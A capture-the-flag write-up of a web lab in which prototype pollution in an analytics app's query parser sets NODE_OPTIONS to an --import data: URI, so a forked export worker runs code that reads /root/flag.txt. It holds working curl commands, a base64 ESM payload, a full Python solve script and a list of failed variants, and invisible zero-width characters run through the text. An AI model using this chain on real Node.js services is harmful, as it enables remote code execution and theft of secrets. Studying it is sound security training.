← Back to Writeups
CUSTOMMediumWeb

Lab 349 — InsightPulse — Prototype Pollution to RCE via TSQL Query Engine

XESXOR9/10/20266 min read
#web#custom#medium#error_based_data_exfiltration#esm_module_code_execution#honeypot_flag_identification#node_options_import_data_uri_r#prototype_pollution_via_dot_no#cve-2019-7609#linux

Lab 349 — InsightPulse — Prototype Pollution to RCE via TSQL Query Engine

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: error_based_data_exfiltration, esm_module_code_execution, honeypot_flag_identification, node_options_import_data_uri_rce, prototype_pollution_via_dot_notation_unflatten

Summary

Task: InsightPulse analytics platform with custom TSQL query language where .props() function uses unsafe unflatten to convert dot-notation paths into nested objects, allowing proto pollution. Solution: Pollute Object.prototype.NODE_OPTIONS with --import data:text/javascript;base64 payload, then trigger child_process.fork() via export endpoint to execute ESM code that reads /root/flag.txt and exfiltrates via thrown Error.

Lab 349 — InsightPulse — Prototype Pollution to RCE via TSQL Query Engine — HackAdvisor

Description

InsightPulse is a real-time analytics and data visualization platform used by engineering teams to monitor application metrics. Built by PulseMetrics Inc., the platform features a powerful custom time-series query language (TSQL) in its Visualizer module that allows users to create charts, apply transformations, and configure display properties using expressions like .series('cpu_usage').range('1d').props(label='CPU %').

The application also supports exporting charts and generating PDF reports through a dedicated worker process. Your task is to explore the application, identify a vulnerability in the query engine, and find a way to execute arbitrary commands on the server to read the flag.

The TSQL query language documentation is available in the application's API Docs section. Pay close attention to how the .props() function handles nested property paths. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js (Node.js v20.15.1) analytics platform with a custom TSQL query language. The .props() function accepts dot-notation property paths (e.g., label.color='red') and uses an unsafe unflatten function to convert them into nested objects. This allows prototype pollution via __proto__ keys. A separate export worker process (spawned via child_process.fork()) inherits polluted environment variables, enabling RCE through NODE_OPTIONS=--import data:... injection.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

Logged in with provided credentials. The application is an Express.js (Node.js v20.15.1) application with session-based authentication.

Key endpoints discovered:

  • POST /api/query — Executes TSQL queries. Body: {"query": ".series('cpu_usage').range('1d').agg('avg').props(label='CPU %')"}
  • POST /api/export — Spawns a separate Node.js worker process (fork) to render PDF/PNG reports. Body: {"dashboardId":"1","format":"pdf","title":"Report"}
  • GET /api/docs — API documentation revealing TSQL syntax
  • GET /visualizer — Interactive query editor ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy flags: Every HTML page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} injected in hidden divs and HTML comments — honeypots designed to trap AI agents and automated scanners.

Export worker metadata: "renderer":"insightpulse-export-worker","version":"2.4.1","nodeVersion":"v20.15.1"

Vulnerability: Prototype Pollution via .props()

The .props() function in the TSQL query parser uses an unflatten function (similar to Kibana's Timelion CVE-2019-7609) that converts dot-notation paths into nested objects. It does NOT filter dangerous keys like __proto__, constructor, or prototype. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When sending .props(__proto__.KEY='VALUE'), the parser traverses the dot path and sets the value on Object.prototype, polluting all JavaScript objects in the Node.js process.

Confirmation: Sending .props(__proto__.test='hello') returned 200 OK with displayProps: {"test": "hello"} — the __proto__ was consumed during path traversal, confirming prototype pollution.

Key Constraints

  1. 3-level paths crash the parser: __proto__.env.AAAA causes "Maximum call stack size exceeded" — the unflatten function enters infinite recursion after polluting the prototype
  2. 2-level paths work: __proto__.argv0 and __proto__.NODE_OPTIONS both return 200 OK
  3. Pollution is permanent: Once the prototype is polluted, the parser breaks for subsequent .props() calls — you get ONE shot
  4. Classic CVE-2019-7609 env trick doesn't work: It requires 3-level paths (__proto__.env.AAAA + __proto__.env.NODE_OPTIONS)
  5. Node.js v20 kEmptyObject fix: The --require /proc/self/cmdline trick (argv0 + NODE_OPTIONS) doesn't trigger RCE because fork() in Node 20 uses kEmptyObject for default options ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation Strategy: --import data URI (Node >= 19)

The breakthrough was using the --import flag with a data: URI, which:

  • Works in Node.js >= 19 (target is v20.15.1)
  • Only requires a single 2-level path (__proto__.NODE_OPTIONS)
  • Doesn't need filesystem access (no /proc/self/environ or /proc/self/cmdline)
  • Bypasses kEmptyObject protections because NODE_OPTIONS is read from the environment, not from the options object
  • Uses ESM syntax (required for --import context)

Solution

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 1: Login

bash
curl -c cookies.txt -X POST "https://TARGET/login" \
  -d "email=user@test.com&password=password123"

Step 2: Craft the ESM Payload

The JavaScript payload must use ESM syntax (required for --import):

javascript
import{execSync}from'node:child_process';const r=execSync('cat /root/flag.txt').toString();throw new Error(r);

Base64 encode it:

aW1wb3J0e2V4ZWNTeW5jfWZyb20nbm9kZTpjaGlsZF9wcm9jZXNzJztjb25zdCByPWV4ZWNTeW5jKCdjYXQgL3Jvb3QvZmxhZy50eHQnKS50b1N0cmluZygpO3Rocm93IG5ldyBFcnJvcihyKTs=

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Pollute Object.prototype.NODE_OPTIONS

Send a single TSQL query that pollutes NODE_OPTIONS with the --import data: URI:

bash
curl -b cookies.txt -X POST "https://TARGET/api/query" \
  -H "Content-Type: application/json" \
  -d '{"query": ".series('\''cpu_usage'\'').range('\''1d'\'').agg('\''avg'\'').props(__proto__.NODE_OPTIONS='\''--import data:text/javascript;base64,aW1wb3J0e2V4ZWNTeW5jfWZyb20nbm9kZTpjaGlsZF9wcm9jZXNzJztjb25zdCByPWV4ZWNTeW5jKCdjYXQgL3Jvb3QvZmxhZy50eHQnKS50b1N0cmluZygpO3Rocm93IG5ldyBFcnJvcihyKTs='\'')"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: 200 OK — pollution successful. NODE_OPTIONS is now set on Object.prototype.

Step 4: Trigger Export Worker (fork) to Execute Payload

bash
curl -b cookies.txt -X POST "https://TARGET/api/export" \
  -H "Content-Type: application/json" \
  -d '{"dashboardId":"1","format":"pdf","title":"Test"}'

What happens:

  1. The export endpoint calls child_process.fork() to spawn a worker process
  2. The forked Node.js process inherits the polluted NODE_OPTIONS environment variable
  3. Node.js reads NODE_OPTIONS=--import data:text/javascript;base64,... and imports the data URI as an ESM module
  4. The ESM module executes cat /root/flag.txt via execSync
  5. The result is thrown as an Error, which propagates back through the export error handling ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{
  "error": "Export failed",
  "details": "...Error: FLAG{REDACTED}..."
}

Full Solve Script

python
#!/usr/bin/env python3
"""
InsightPulse — Prototype Pollution to RCE via TSQL .props() and NODE_OPTIONS --import data URI

Attack chain:
1. Login to get session cookie
2. Pollute Object.prototype.NODE_OPTIONS via .props(__proto__.NODE_OPTIONS='--import data:...')
3. Trigger child_process.fork() via /api/export to execute ESM payload
4. Flag exfiltrated via thrown Error in export error response
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import requests
import base64

TARGET = "https://598c7227-460a-4249-9104-069dbfcf5b0d.labs.hackadvisor.io"

s = requests.Session()

# Step 1: Login
s.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
})

# Step 2: Craft ESM payload (--import requires ESM syntax, not CommonJS)
payload_js = "import{execSync}from'node:child_process';const r=execSync('cat /root/flag.txt').toString();throw new Error(r);"
payload_b64 = base64.b64encode(payload_js.encode()).decode()

# Step 3: Pollute __proto__.NODE_OPTIONS via TSQL .props()
# Only 2-level paths work (3-level causes stack overflow in unflatten)
node_options = f"--import data:text/javascript;base64,{payload_b64}"
query = f".series('cpu_usage').range('1d').agg('avg').props(__proto__.NODE_OPTIONS='{node_options}')"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

r = s.post(f"{TARGET}/api/query", json={"query": query})
print(f"[*] Pollution response: {r.status_code}")
assert r.status_code == 200, f"Pollution failed: {r.text}"

# Step 4: Trigger fork() via export — worker inherits polluted NODE_OPTIONS
r = s.post(f"{TARGET}/api/export", json={
    "dashboardId": "1",
    "format": "pdf",
    "title": "Test"
})
print(f"[*] Export response: {r.status_code}")
print(r.text)

# Flag appears in error details
import re
match = re.search(r'FLAG\{[a-f0-9]+\}', r.text)
if match:
    print(f"\n[+] FLAG: {match.group()}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed Approaches (Important Context)

  1. Classic CVE-2019-7609 env trick (__proto__.env.AAAA + __proto__.env.NODE_OPTIONS + --require /proc/self/environ): 3-level paths cause parser stack overflow due to infinite recursion in the unflatten function after prototype pollution
  2. cmdline trick (__proto__.argv0 + __proto__.NODE_OPTIONS='--require /proc/self/cmdline'): Pollution succeeds but fork() in Node 20 ignores polluted argv0 due to kEmptyObject fix
  3. shell trick (__proto__.shell='/proc/self/exe'): Changes how fork works, breaks the worker entirely
  4. --import with require(): First attempt used require('child_process') which fails because --import creates ESM context where require is not defined — must use import statement
  5. execSync without throw: Command executes but output is not visible in response — need to throw new Error(result) to exfiltrate via error message ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍